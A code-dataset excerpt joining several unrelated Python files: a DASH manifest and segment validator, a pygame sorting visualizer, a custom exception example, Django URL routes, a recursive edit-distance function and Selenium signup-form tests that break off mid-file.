continue\n moof = seg.validate(depth - 1)\n self.checkIsNotNone(moof)\n if seg.seg_num is None:\n seg.seg_num = moof.mfhd.sequence_number\n # next_seg_num = seg.seg_num + 1\n for sample in moof.traf.trun.samples:\n if not sample.duration:\n sample.duration = info.moov.mvex.trex.default_sample_duration\n next_decode_time += sample.duration\n seg.next_decode_time = next_decode_time\n\n def check_live_profile(self):\n self.checkIsNotNone(self.segmentTemplate)\n if self.mode == 'vod':\n return\n self.checkEqual(self.mode, 'live')\n seg_duration = self.segmentTemplate.duration\n timeline = self.segmentTemplate.segmentTimeline\n timescale = self.segmentTemplate.timescale\n decode_time = None\n if seg_duration is None:\n self.checkIsNotNone(timeline)\n seg_duration = timeline.duration / len(timeline.segments)\n if timeline is not None:\n num_segments = len(self.segmentTemplate.segmentTimeline.segments)\n decode_time = timeline.segments[0].start\n else:\n self.checkIsNotNone(self.mpd.timeShiftBufferDepth)\n num_segments = math.floor(self.mpd.timeShiftBufferDepth.total_seconds() *\n timescale / seg_duration)\n num_segments = int(num_segments)\n num_segments = min(num_segments, 25)\n now = datetime.datetime.now(tz=UTC())\n elapsed_time = now - self.mpd.availabilityStartTime\n startNumber = self.segmentTemplate.startNumber\n # TODO: subtract Period@start\n last_fragment = startNumber + int(\n scale_timedelta(elapsed_time, timescale, seg_duration))\n first_fragment = last_fragment - math.floor(\n self.mpd.timeShiftBufferDepth.total_seconds() * timescale / seg_duration)\n if first_fragment < startNumber:\n num_segments -= startNumber - first_fragment\n if num_segments < 1:\n num_segments = 1\n first_fragment = startNumber\n if decode_time is None:\n decode_time = (first_fragment - startNumber) * seg_duration\n self.checkIsNotNone(decode_time)\n pos = self.mpd.availabilityStartTime + \\\n datetime.timedelta(seconds=(decode_time / timescale))\n earliest_pos = now - self.mpd.timeShiftBufferDepth - \\\n datetime.timedelta(seconds=(seg_duration / timescale))\n self.checkGreaterThanOrEqual(pos, earliest_pos,\n 'Position {0} is before first available fragment time {1}'.format(\n pos, earliest_pos))\n self.checkLessThan(pos, now,\n 'Pos {0} is after current time of day {1}'.format(pos, now))\n\n def check_on_demand_profile(self):\n pass\n\n def format_url_template(self, url, seg_num=0, decode_time=0):\n \"\"\"\n Replaces the template variables according the DASH template syntax\n \"\"\"\n def repfn(matchobj, value):\n if isinstance(value, str):\n return value\n fmt = matchobj.group(1)\n if fmt is None:\n fmt = r'%d'\n fmt = '{0' + fmt.replace('%', ':') + '}'\n return fmt.format(value)\n for name, value in [('RepresentationID', self.ID),\n ('Bandwidth', self.bandwidth),\n ('Number', seg_num),\n ('Time', decode_time),\n ('', '$')]:\n rx = re.compile(r'\\${0}(%0\\d+d)?\\$'.format(name))\n url = rx.sub(lambda match: repfn(match, value), url)\n return url\n\n\nclass InitSegment(DashElement):\n def __init__(self, parent, url, info, seg_range):\n super(InitSegment, self).__init__(None, parent)\n self.info = info\n self.seg_range = seg_range\n self.url = url\n\n def validate(self, depth=-1):\n self.checkIsNotNone(self.url)\n if self.url is None:\n return\n if self.seg_range is not None:\n headers = {\"Range\": \"bytes={}\".format(self.seg_range)}\n expected_status = 206\n else:\n headers = None\n expected_status = 200\n self.log.debug('GET: %s %s', self.url, headers)\n response = self.http.get(self.url, headers=headers)\n self.checkEqual(\n response.status_int, expected_status,\n 'Failed to load init segment: {0:d}: {1}\\n{2}'.format(\n response.status_int, response.body, self.url))\n if self.options.save:\n default = 'init-{0}-{1}'.format(self.parent.id, self.parent.bandwidth)\n filename = self.output_filename(\n default, self.parent.bandwidth, prefix=self.options.prefix,\n makedirs=True)\n self.log.debug('saving init segment: %s', filename)\n with self.open_file(filename, self.options) as dest:\n dest.write(response.body)\n src = BufferedReader(None, data=response.body)\n atoms = mp4.Mp4Atom.load(src)\n self.checkGreaterThan(len(atoms), 1)\n self.checkEqual(atoms[0].atom_type, 'ftyp')\n moov = None\n for atom in atoms:\n if atom.atom_type == 'moov':\n moov = atom\n break\n self.checkIsNotNone(moov)\n if not self.info.encrypted:\n return moov\n try:\n pssh = moov.pssh\n self.checkEqual(len(pssh.system_id), 16)\n if pssh.system_id == PlayReady.RAW_SYSTEM_ID:\n for pro in PlayReady.parse_pro(\n BufferedReader(None, data=pssh.data)):\n root = pro['xml'].getroot()\n version = root.get(\"version\")\n self.checkIn(\n version, [\n \"4.0.0.0\", \"4.1.0.0\", \"4.2.0.0\", \"4.3.0.0\"])\n if 'playready_version' not in self.mpd.params:\n continue\n version = float(self.mpd.params['playready_version'])\n if version < 2.0:\n self.checkEqual(root.attrib['version'], \"4.0.0.0\")\n elif version < 3.0:\n self.checkIn(\n root.attrib['version'], [\n \"4.0.0.0\", \"4.1.0.0\"])\n elif version < 4.0:\n self.checkIn(\n root.attrib['version'], [\n \"4.0.0.0\", \"4.1.0.0\", \"4.2.0.0\"])\n except (AttributeError) as ae:\n if 'moov' in self.url:\n if 'playready' in self.url or 'clearkey' in self.url:\n self.checkTrue(\n 'moov' not in self.url,\n 'PSSH box should be present in {}\\n{:s}'.format(\n self.url, ae))\n return moov\n\n\nclass MediaSegment(DashElement):\n def __init__(self, parent, url, info, seg_num,\n decode_time, tolerance, seg_range):\n super(MediaSegment, self).__init__(None, parent)\n self.info = info\n self.seg_num = seg_num\n self.decode_time = decode_time\n self.tolerance = tolerance\n self.seg_range = seg_range\n self.url = url\n self.log.debug('MediaSegment: url=%s $Number$=%d $Time$=%s tolerance=%d',\n url, seg_num, str(decode_time), tolerance)\n\n def set_info(self, info):\n self.info = info\n\n def validate(self, depth=-1, all_atoms=False):\n headers = None\n if self.seg_range is not None:\n headers = {\"Range\": \"bytes={}\".format(self.seg_range)}\n self.log.debug('MediaSegment: url=%s headers=%s', self.url, headers)\n response = self.http.get(self.url, headers=headers)\n if self.seg_range is None:\n if response.status_int != 200:\n raise MissingSegmentException(self.url, response)\n else:\n if response.status_int != 206:\n raise MissingSegmentException(self.url, response)\n if self.parent.mimeType is not None:\n if self.options.strict:\n self.checkStartsWith(response.headers['content-type'],\n self.parent.mimeType)\n if self.options.save:\n default = 'media-{0}-{1}-{2}'.format(self.parent.id, self.parent.bandwidth,\n self.seg_num)\n filename = self.output_filename(\n default, self.parent.bandwidth, prefix=self.options.prefix)\n self.log.debug('saving media segment: %s', filename)\n with self.open_file(filename, self.options) as dest:\n dest.write(response.body)\n src = BufferedReader(None, data=response.body)\n options = {\"strict\": True}\n self.checkEqual(self.options.encrypted, self.info.encrypted)\n if self.info.encrypted:\n options[\"iv_size\"] = self.info.iv_size\n atoms = mp4.Mp4Atom.load(src, options=options)\n self.checkGreaterThan(len(atoms), 1)\n moof = None\n mdat = None\n for a in atoms:\n if a.atom_type == 'emsg':\n self.check_emsg_box(a)\n elif a.atom_type == 'moof':\n moof = a\n elif a.atom_type == 'mdat':\n mdat = a\n self.checkIsNotNone(\n moof,\n msg='Failed to find moof box before mdat box')\n self.checkIsNotNone(moof)\n self.checkIsNotNone(mdat)\n try:\n senc = moof.traf.senc\n self.checkNotEqual(\n self.info.encrypted, False,\n msg='senc box should not be found in a clear stream')\n saio = moof.traf.find_child('saio')\n self.checkIsNotNone(\n saio,\n msg='saio box is required for an encrypted stream')\n self.checkEqual(\n len(saio.offsets), 1,\n msg='saio box should only have one offset entry')\n tfhd = moof.traf.find_child('tfhd')\n if tfhd is None:\n base_data_offset = moof.position\n else:\n base_data_offset = tfhd.base_data_offset\n self.checkEqual(\n senc.samples[0].position,\n saio.offsets[0] + base_data_offset,\n msg=(r'saio.offsets[0] should point to first CencSampleAuxiliaryData entry. ' +\n 'Expected {0}, got {1}'.format(\n senc.samples[0].position, saio.offsets[0] + base_data_offset)))\n self.checkEqual(len(moof.traf.trun.samples), len(senc.samples))\n except AttributeError:\n self.checkNotEqual(\n self.info.encrypted, True,\n msg='Failed to find senc box in encrypted stream')\n if self.seg_num is not None:\n self.checkEqual(moof.mfhd.sequence_number, self.seg_num,\n msg='Sequence number error, expected {0}, got {1}'.format(\n self.seg_num, moof.mfhd.sequence_number))\n moov = self.info.moov\n if self.decode_time is not None:\n self.log.debug(\n 'decode_time=%s base_media_decode_time=%d delta=%d',\n str(self.decode_time),\n moof.traf.tfdt.base_media_decode_time,\n abs(moof.traf.tfdt.base_media_decode_time - self.decode_time))\n seg_dt = moof.traf.tfdt.base_media_decode_time\n msg = 'Decode time {seg_dt:d} should be {dt:d} for segment {num} in {url:s}'.format(\n seg_dt=seg_dt, dt=self.decode_time, num=self.seg_num, url=self.url)\n self.checkAlmostEqual(\n seg_dt,\n self.decode_time,\n delta=self.tolerance,\n msg=msg)\n first_sample_pos = moof.traf.tfhd.base_data_offset + moof.traf.trun.data_offset\n last_sample_end = first_sample_pos\n for samp in moof.traf.trun.samples:\n last_sample_end += samp.size\n msg = ' '.join([\n r'trun.data_offset must point inside the MDAT box.',\n r'trun points to {0} but first sample of MDAT is {1}'.format(\n first_sample_pos, mdat.position + mdat.header_size),\n r'trun last sample is {0} but end of MDAT is {1}'.format(\n last_sample_end, mdat.position + mdat.size),\n ])\n self.checkGreaterThanOrEqual(first_sample_pos, mdat.position + mdat.header_size, msg)\n self.checkLessThanOrEqual(last_sample_end, mdat.position + mdat.size, msg)\n if self.options.strict:\n self.checkEqual(first_sample_pos, mdat.position + mdat.header_size, msg)\n pts_values = set()\n dts = moof.traf.tfdt.base_media_decode_time\n for sample in moof.traf.trun.samples:\n try:\n pts = dts + sample.composition_time_offset\n except AttributeError:\n pts = dts\n self.checkNotIn(pts, pts_values)\n pts_values.add(pts)\n if sample.duration is None:\n dts += moov.mvex.trex.default_sample_duration\n else:\n dts += sample.duration\n self.duration = dts - moof.traf.tfdt.base_media_decode_time\n if all_atoms:\n return atoms\n return moof\n\n def check_emsg_box(self, emsg):\n found = False\n for evs in self.parent.event_streams:\n self.log.debug('Found schemeIdUri=\"%s\", value=\"%s\"',\n evs.schemeIdUri, evs.value)\n if (evs.schemeIdUri == emsg.scheme_id_uri and\n evs.value == emsg.value):\n self.checkIsInstance(evs, InbandEventStream)\n found = True\n for evs in self.parent.parent.event_streams:\n self.log.debug('Found schemeIdUri=\"%s\", value=\"%s\"',\n evs.schemeIdUri, evs.value)\n if (evs.schemeIdUri == emsg.scheme_id_uri and\n evs.value == emsg.value):\n self.checkIsInstance(evs, InbandEventStream)\n found = True\n self.checkTrue(\n found,\n 'Failed to find an InbandEventStream with schemeIdUri=\"{0}\" value=\"{1}\"'.format(\n emsg.scheme_id_uri, emsg.value))\n\n\nif __name__ == \"__main__\":\n import argparse\n import requests\n\n class HttpResponse(TestCaseMixin):\n def __init__(self, response):\n self.response = response\n self.status_code = self.status_int = response.status_code\n self._xml = None\n self.headers = response.headers\n self.headerlist = response.headers.keys()\n if response.ok:\n self.status = 'OK'\n else:\n self.status = response.reason\n\n @property\n def xml(self):\n if self._xml is None:\n self._xml = ET.fromstring(self.response.text)\n return self._xml\n\n @property\n def forms(self, id):\n raise Exception(\"Not implemented\")\n\n @property\n def json(self):\n return self.response.json\n\n @property\n def body(self):\n return self.response.content\n\n def mustcontain(self, *strings):\n for text in strings:\n self.checkIn(text, self.response.text)\n\n def warning(self, fmt, *args):\n logging.getLogger(__name__).warning(fmt, *args)\n\n class RequestsHttpClient(HttpClient):\n def __init__(self):\n self.session = requests.Session()\n\n def get(self, url, headers=None, params=None, status=None, xhr=False):\n try:\n self.log.debug('GET %s', url)\n except AttributeError:\n print('GET %s' % (url))\n if xhr:\n if headers is None:\n headers = {'X-REQUESTED-WITH': 'XMLHttpRequest'}\n else:\n h = {'X-REQUESTED-WITH': 'XMLHttpRequest'}\n h.update(headers)\n headers = h\n rv = HttpResponse(\n self.session.get(\n url,\n data=params,\n headers=headers))\n if status is not None:\n self.checkEqual(rv.status_code, status)\n return rv\n\n class BasicDashValidator(DashValidator):\n def __init__(self, url, options):\n super(\n BasicDashValidator,\n self).__init__(\n url,\n RequestsHttpClient(),\n options=options)\n self.representations = {}\n self.url = url\n\n def get_representation_info(self, rep):\n try:\n return self.representations[rep.unique_id()]\n except KeyError:\n pass\n if rep.mode == 'odvod':\n timescale = rep.segmentBase.timescale\n elif rep.segmentTemplate is not None:\n timescale = rep.segmentTemplate.timescale\n else:\n timescale = 1\n num_segments = None\n if rep.segmentTemplate and rep.segmentTemplate.segmentTimeline is not None:\n num_segments = len(rep.segmentTemplate.segmentTimeline.segments)\n else:\n duration = rep.parent.parent.duration\n if duration is None:\n duration = rep.mpd.mediaPresentationDuration\n if duration is not None and rep.segmentTemplate:\n seg_dur = rep.segmentTemplate.duration\n num_segments = int(\n math.floor(\n duration.total_seconds() *\n timescale /\n seg_dur))\n return RepresentationInfo(encrypted=self.options.encrypted,\n iv_size=self.options.ivsize,\n timescale=timescale,\n num_segments=num_segments)\n\n def set_representation_info(self, representation, info):\n self.representations[representation.unique_id()] = info\n\n parser = argparse.ArgumentParser(\n description='DASH live manifest validator')\n parser.add_argument('--strict', action='store_true', dest='strict',\n help='Abort if an error is detected')\n parser.add_argument('-e', '--encrypted', action='store_true', dest='encrypted',\n help='Stream is encrypted')\n parser.add_argument('-s', '--save',\n help='save all fragments into ',\n action='store_true')\n parser.add_argument('-d', '--dest',\n help='directory to store results',\n required=False)\n parser.add_argument('-p', '--prefix',\n help='filename prefix to use when storing media files',\n required=False)\n parser.add_argument('--duration',\n help='Maximum duration (in seconds)',\n type=int,\n required=False)\n parser.add_argument('--ivsize',\n help='IV size (in bits or bytes)',\n type=int,\n default=64,\n required=False)\n parser.add_argument('-v', '--verbose',\n action='count',\n help='increase verbosity',\n default=0)\n parser.add_argument(\n 'manifest',\n help='URL or filename of manifest to validate')\n args = parser.parse_args(namespace=ValidatorOptions(strict=False))\n # FORMAT = r\"%(asctime)-15s:%(levelname)s:%(filename)s@%(lineno)d: %(message)s\\n [%(url)s]\"\n FORMAT = r\"%(asctime)-15s:%(levelname)s:%(filename)s@%(lineno)d: %(message)s\"\n logging.basicConfig(format=FORMAT)\n args.log = logging.getLogger(__name__)\n args.log.addFilter(HideMixinsFilter())\n if args.verbose > 0:\n args.log.setLevel(logging.DEBUG)\n logging.getLogger('mp4').setLevel(logging.DEBUG)\n logging.getLogger('fio').setLevel(logging.DEBUG)\n if args.ivsize > 16:\n args.ivsize = args.ivsize // 8\n bdv = BasicDashValidator(args.manifest, args)\n bdv.load()\n if args.dest:\n bdv.save_manifest()\n done = False\n while not done:\n if bdv.manifest.mpd_type != 'dynamic':\n done = True\n try:\n bdv.validate()\n if bdv.manifest.mpd_type == 'dynamic' and not done:\n bdv.sleep()\n bdv.load()\n except (AssertionError, ValidationException) as err:\n logging.error(err)\n traceback.print_exc()\n if args.dest:\n bdv.save_manifest()\n filename = bdv.output_filename('error.txt', makedirs=True)\n with open(filename, 'wt') as err_file:\n err_file.write(str(err) + '\\n')\n traceback.print_exc(file=err_file)\n if args.strict:\n raise\n","repo_name":"asrashley/dash-live","sub_path":"tests/dash_validator.py","file_name":"dash_validator.py","file_ext":"py","file_size_in_byte":69610,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"73760521743","text":"import math\nfrom turtle import width\nimport pygame\nimport random\npygame.init()\n\nclass DrawInformation:\n # Colors\n BLACK = 0,0,0\n WHITE = 255, 255, 255\n PINK = 239, 170, 196\n LIGHT_PINK = 255, 196, 209\n ORANGE = 255, 215, 186\n GREEN = 212, 255, 205\n BACKGROUND_COLOR = WHITE\n\n GRADIENTS = [\n (173, 181, 189),\n (108, 117, 125),\n (73, 80, 87)\n ]\n\n # Fonts\n FONT = pygame.font.SysFont('georgia', 25) # Regular font\n LARGE_FONT = pygame.font.SysFont('georgia', 35) # Large font\n\n # Padding\n SIDE_PAD = 100\n TOP_PAD = 150\n\n # lst is the list that we will sort\n def __init__(self, width, height, lst):\n self.width = width\n self.height = height\n \n # Set up a drawing window\n self.window = pygame.display.set_mode((width, height))\n # Set a caption for the drawing window\n pygame.display.set_caption(\"Sorting Algorithm Visualizer\")\n self.set_list(lst)\n \n def set_list(self, lst):\n self.lst = lst\n self.min_val = min(lst)\n self.max_val = max(lst)\n\n # Calculate the width of each block based on the size of \n # the screen and the number of blocks we will have\n self.block_width = round((self.width - self.SIDE_PAD) / len(lst))\n self.block_height = math.floor((self.height - self.TOP_PAD) / (self.max_val - self.min_val))\n # Set drawing starting point \n self.start_x = self.SIDE_PAD // 2\n\n# Draw the screen\ndef draw(draw_info, algo_name, ascending):\n draw_info.window.fill(draw_info.BACKGROUND_COLOR)\n\n # Display text on the screen\n title = draw_info.LARGE_FONT.render(f\"{algo_name} - {'Ascending' if ascending else 'Descending'}\", 1, draw_info.BLACK)\n draw_info.window.blit(title, ((draw_info.width - title.get_width())/2, 5))\n controls = draw_info.FONT.render(\"R - Reset | SPACE - Start Sorting | A - Ascending | D - Descending\", 1, draw_info.BLACK)\n draw_info.window.blit(controls, ((draw_info.width - controls.get_width())/2, 45))\n sorting = draw_info.FONT.render(\"I - Insertion Sort | B - Buble Sort\", 1, draw_info.BLACK)\n draw_info.window.blit(sorting, ((draw_info.width - sorting.get_width())/2, 75))\n\n\n draw_list(draw_info)\n pygame.display.update()\n\n# Draw the list that we are sorting\ndef draw_list(draw_info, color_positions={}, clear_bg= False):\n lst = draw_info.lst\n\n if clear_bg:\n clear_rect = (draw_info.SIDE_PAD // 2, draw_info.TOP_PAD, draw_info.width - draw_info.SIDE_PAD, draw_info.height - draw_info.TOP_PAD)\n pygame.draw.rect(draw_info.window, draw_info.BACKGROUND_COLOR, clear_rect)\n\n\n for i, val in enumerate(lst):\n x = draw_info.start_x + i * draw_info.block_width\n y = draw_info.height - (val - draw_info.min_val) * draw_info.block_height\n color = draw_info.GRADIENTS[i % 3]\n\n # Draw rectangle blocks\n if i in color_positions:\n color = color_positions[i]\n pygame.draw.rect(draw_info.window, color, (x, y, draw_info.block_width, draw_info.height))\n\n if clear_bg:\n pygame.display.update()\n\n\n# Generate initial list that contains n random integer elements \n# between min_val and max_val\ndef generate_starting_list(n, min_val, max_val):\n lst = []\n\n for _ in range(n) :\n val = random.randint(min_val, max_val)\n lst.append(val)\n\n return lst\n\ndef bubble_sort(draw_info, ascending= True):\n lst = draw_info.lst\n for i in range(len(lst) - 1):\n for j in range(len(lst) - 1 - i):\n num1 = lst[j]\n num2 = lst[j + 1]\n if (num1 > num2 and ascending) or (num1 < num2 and not ascending):\n lst[j], lst[j+1] = lst[j + 1], lst[j]\n draw_list(draw_info, {j: draw_info.GREEN, j + 1: draw_info.PINK}, True)\n yield True\n return lst\n\ndef insertion_sort(draw_info, ascending= True):\n lst = draw_info.lst\n for i in range (1, len(lst)):\n cur = lst[i]\n\n while True:\n # Condition for swapping when sorting in ascending order \n ascending_sort = i > 0 and lst[i-1] > cur and ascending\n # Condition for swapping when sorting in descending order \n descending_sort = i > 0 and lst[i-1] < cur and not ascending\n\n if not ascending_sort and not descending_sort:\n break\n\n lst[i] = lst[i - 1]\n i = i - 1\n lst[i] = cur\n draw_list(draw_info, {i - 1 : draw_info.GREEN, i: draw_info.PINK}, True)\n yield True\n \n return lst\n\ndef main():\n run = True\n # Set a clock that regulates how quickly the loop runs\n clock = pygame.time.Clock()\n\n # Set display mode\n n = 50\n min_val = 0\n max_val = 100\n\n lst = generate_starting_list(n, min_val, max_val)\n draw_info = DrawInformation(800, 600, lst)\n sorting = False\n ascending = True\n\n sorting_algorithm = bubble_sort\n sorting_algo_name = \"Bubble Sort\"\n sorting_algorithm_generator = None\n\n while run:\n clock.tick(55)\n \n if sorting:\n try:\n next(sorting_algorithm_generator)\n except StopIteration:\n sorting = False\n else:\n draw(draw_info, sorting_algo_name, ascending)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n \n # If no key is pressed- continue\n if event.type != pygame.KEYDOWN:\n continue\n \n # If \"r\" key is pressed- reset the list\n if event.key == pygame.K_r:\n lst = generate_starting_list(n, min_val, max_val)\n draw_info.set_list(lst)\n sorting = False\n \n # Else if space key is pressed- start sorting \n elif event.key == pygame.K_SPACE and sorting == False:\n sorting = True\n sorting_algorithm_generator = sorting_algorithm(draw_info, ascending)\n \n # Else if \"a\" key is pressed- sort in ascending order \n elif event.key == pygame.K_a and not sorting:\n ascending = True\n \n # Else if \"d\" key is pressed- sort in descending order \n elif event.key == pygame.K_d and not sorting:\n ascending = False\n \n # Else if space key is pressed- start sorting \n elif event.key == pygame.K_b and not sorting:\n sorting_algorithm = bubble_sort\n sorting_algo_name = 'Bubble Sort'\n \n elif event.key == pygame.K_i and not sorting:\n sorting_algorithm = insertion_sort\n sorting_algo_name = 'Insertion Sort'\n\n pygame.quit()\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"daniellazabari/Sorting_Algorithm_Visualizer","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":6850,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"22114838246","text":"class validateage(Exception):\r\n \r\n def __init__(self , msg) : \r\n self.msg = msg\r\n\r\ndef validaetage(age) : \r\n if age < 0 :\r\n raise validateage(\"Entered Age is Negative \" )\r\n elif age > 200 : \r\n raise validateage(\"Enterd Age is Very Very High \" )\r\n else :\r\n print(\"Age is Valid\" ) \r\n\r\n\r\ntry :\r\n age = int(input(\"Enter Your Age\" ))\r\n validaetage(age)\r\nexcept validateage as e :\r\n print(e) \r\n","repo_name":"iPrasanjitRoy/DATA-SCIENCE-MATER-2.0","sub_path":"Custom Exception.py","file_name":"Custom Exception.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43853734225","text":"from django.urls import path, include\nfrom django.urls.resolvers import URLPattern\nfrom patients import views\n\nurlpatterns = [\n path('', views.index),\n path('index', views.index),\n path('add', views.add),\n path('edit/', views.edit),\n path('delete/', views.delete)\n]","repo_name":"kdyouri/rdv-py","sub_path":"patients/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4997044685","text":"def calculate_edit_distance(str1, str2, pos1, pos2):\n \"\"\"\n Calculates the edit distance between two strings given the strings\n and index markers of the strings.\n \n Input: two strings and two integers that denote \n the indices the function is currently inspecting.\n Output: edit distance of input strings (integer)\n \"\"\"\n \n result = None\n \n # If either of the strings is an empty string, return the length\n # of the other string. \n if pos1 == 0:\n result = pos2\n elif pos2 == 0:\n result = pos1\n \n # Check if the last character of the strings are identical. If\n # they are, move on to the next character.\n elif str1[pos1-1] == str2[pos2-1]:\n result = calculate_edit_distance(str1, str2, pos1-1, pos2-1)\n\n # If the last characters are not the same, one character is\n # different between these two strings at the pos 1 and 2. Move on\n # to the next character, and add one to the distance.\n else:\n # Iteratively, find which case holds true. The options are:\n # - insertion in string1\n # - deletion in string1\n # - substitution between strings 1 and 2 at pos1 and pos2.\n # Choose the minimum of the three cases.\n result = 1 + min(calculate_edit_distance(str1, str2, pos1, pos2-1),\n calculate_edit_distance(str1, str2, pos1-1, pos2),\n calculate_edit_distance(str1, str2, pos1-1, pos2-1))\n \n return result\n","repo_name":"jeenalee/til","sub_path":"algorithms/edit_distance.py","file_name":"edit_distance.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38067891164","text":"import pyselenium\nfrom selenium import webdriver\nfrom utilities.Logger import Log_Generator\nfrom utilities.readProperties import ReadConfig\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom TestCases_signup.check_characters import check_char\nfrom PageObjects.NameObject import sign_up\nimport time\n\nimport string\n\n\nclass Test_First_Name:\n base_url = ReadConfig.getApplicationURL()\n logger = Log_Generator.loggen()\n check_character = check_char()\n\n\n def test_signup_title(self,setup):\n self.logger.info('******* Test Title ***********')\n self.driver = setup\n self.logger.info('******** Launching browser *********')\n self.driver.get(self.base_url)\n self.logger.info('******** opening application url *********')\n self.driver.maximize_window()\n time.sleep(2)\n print(self.driver.current_url) # prints current url\n original_title = self.driver.title\n # self.driver.implicitly_wait(10)\n self.driver.close()\n if original_title == 'Automation Testing Practice':\n self.logger.info('******** It is original title *********')\n assert True\n else:\n assert False\n\n\n def test_FirstName(self, setup):\n\n self.logger.info('*********testing First name Field ************')\n self.driver = setup # getting webdriver\n\n\n self.driver.get(self.base_url)# getting application url\n self.logger.info('*********getting application URL Success ************')\n\n\n self.Sign_Up_Form = sign_up(self.driver)\n self.Sign_Up_Form.set_cookie() # setting up cookie\n self.logger.info('********* setting up cookie is Success ************')\n time.sleep(3)\n print('it is working')\n\n self.Sign_Up_Form.set_frame1() #as there are three frames,switching to center frame(volunteer sign up)\n self.logger.info('********* switching to iframe is Success ************')\n\n\n\n self.logger.info('********* Finding First name Element ************')\n FirstName_Field = self.driver.find_element_by_name('RESULT_TextField-1')\n FirstName_Field.is_displayed() #element dispaly\n FirstName_Field.is_enabled() #element enable\n FirstName_Field.is_selected() #element selected\n self.logger.info('********* First name display,enable,selection is success ************')\n\n\n\n self.logger.info('********* checking if the field is blank ************')\n check_Fname = FirstName_Field.get_attribute('value') #getting the value of first name field(it is empty)\n Fname_length = len(check_Fname) # finding length of the value\n print(Fname_length)\n if Fname_length == 0:\n print('there is no FirstName')\n self.logger.info('********* First name field is blank ************')\n else:\n self.logger.info('********* First name field is blank is unsuccess ************')\n\n\n\n\n self.logger.info('******** checking if the Firstname field is clickable ************')\n try:\n FirstName_Field.click()\n self.logger.info('******** FirstName field clickable success************')\n\n print('element is clickable')\n except WebDriverException:\n self.logger.info('******** FirstName field clickable Unsuccess************')\n\n print('element is not clickable')\n\n\n\n self.logger.info('******** checking if FirstName field is accepting input ************')\n FirstName_Field.clear()\n FirstName_Field.clear()\n self.logger.info('******** sending keys to First name Field ************')\n First_name = 'varshi1@ka'\n for i in First_name: # sending one character for every 0.5 sec\n FirstName_Field.send_keys(i)\n time.sleep(0.5)\n #time.sleep(5)\n print(FirstName_Field.get_attribute('value'))\n self.logger.info('******** sending keys to First name Field is success************')\n\n\n\n self.logger.info('******** checking if the characters have any special characters ************')\n self.check_character.check_special_char(First_name)\n\n\n self.logger.info('******** checking if the characters contains numeric values************')\n self.check_character.check_numeric(First_name)\n\n self.logger.info('******** First name Field is success************')\n\n\n FirstName_Field.clear() # clearing the First name field\n self.logger.info('*********Finished First name Field ************')\n self.driver.close()\n\n\n\n\nclass Test_Phone_Field(check_char):\n\n logger = Log_Generator.loggen()\n base_url = ReadConfig.getApplicationURL()\n logger.info('********* Testing phone Field ***********')\n\n def test_phone_field(self,setup):\n self.driver = setup\n self.logger.info('*********** Launching browser ***********')\n self.driver.get(self.base_url)\n self.logger.info('*********** opening application URL ***********')\n time.sleep(0.5)\n\n self.Sign_Up_Form = sign_up(self.driver)\n self.Sign_Up_Form.set_cookie() # setting up cookie\n self.logger.info('********* setting up cookie is Success ************')\n time.sleep(1)\n print('it is working')\n\n self.Sign_Up_Form.set_frame1() # as there are three frames,switching to center frame(volunteer sign up)\n self.logger.info('********* switching to iframe is Success ************')\n\n self.logger.info('********* Finding the phone field element ************')\n time.sleep(5)\n phone_field = self.driver.find_element_by_name('RESULT_TextField-3')\n print('phone field')\n\n self.logger.info('********** testing if the phone field is blank **********')\n test_phone_blank = phone_field.get_attribute('value')\n phone_field_length = (len(test_phone_blank))\n if phone_field_length == 0:\n assert True\n self.logger.info('********** phone field is blank success **********')\n else:\n assert False\n\n phone_number = '12345678'\n phone_field.send_keys(phone_number)\n self.driver.implicitly_wait(3)\n self.logger.info('********** checking if phone field has characters **********')\n self.check_characters(phone_number)\n self.logger.info('********** phone field is success **********')\n self.driver.close()\n\nclass Test_email(sign_up,check_char):\n logger = Log_Generator.loggen()\n base_url = ReadConfig.getApplicationURL()\n logger.info('********* Testing email Field ***********')\n\n def test_email_field(self, setup):\n self.driver = setup\n self.logger.info('*********** Launching browser ***********')\n self.driver.get(self.base_url)\n self.logger.info('*********** opening application URL ***********')\n time.sleep(0.5)\n\n self.Sign_Up_Form = sign_up(self.driver)\n self.Sign_Up_Form.set_cookie() # setting up cookie\n self.logger.info('********* setting up cookie is Success ************')\n time.sleep(1)\n print('it is working')\n\n self.Sign_Up_Form.set_frame1() # as there are three frames,switching to center frame(volunteer sign up)\n self.logger.info('********* switching to iframe is Success ************')\n\n self.logger.info('********* Finding the phone field element ************')\n time.sleep(1)\n self.driver.maximize_window()\n\n email = 'varshika402@gmail.com'\n phone_field = self.driver.find_element_by_name('RESULT_TextField-6')\n #phone_field = self.driver.find_element_by_name('RESULT_TextField-6').send_keys(email)\n WebDriverWait(self.driver, 20).until(EC.element_to_be_clickable((By.NAME,'RESULT_TextField-6'))).click()\n phone_field = self.driver.find_element_by_name('RESULT_TextField-6').send_keys(email)\n\n time.sleep(3)\n self.driver.execute_script('arguments[0].scrollIntoView();', phone_field)\n print('it is scrollinf')\n time.sleep(3)\n #actions = ActionChains(self.driver)\n #actions.move_to_element(phone_field).perform()\n self.check_email(email)\n self.driver.close()\n\nclass Test_Gender(sign_up):\n logger = Log_Generator.loggen()\n base_url = ReadConfig.getApplicationURL()\n logger.info('********* Testing Gender Radio buttons ***********')\n\n def test_gender(self,setup):\n self.driver = setup\n self.driver.get(self.base_url)\n self.set_cookie()\n self.set_frame1()\n\n self.logger.info('********* Testing Gender Radio buttons 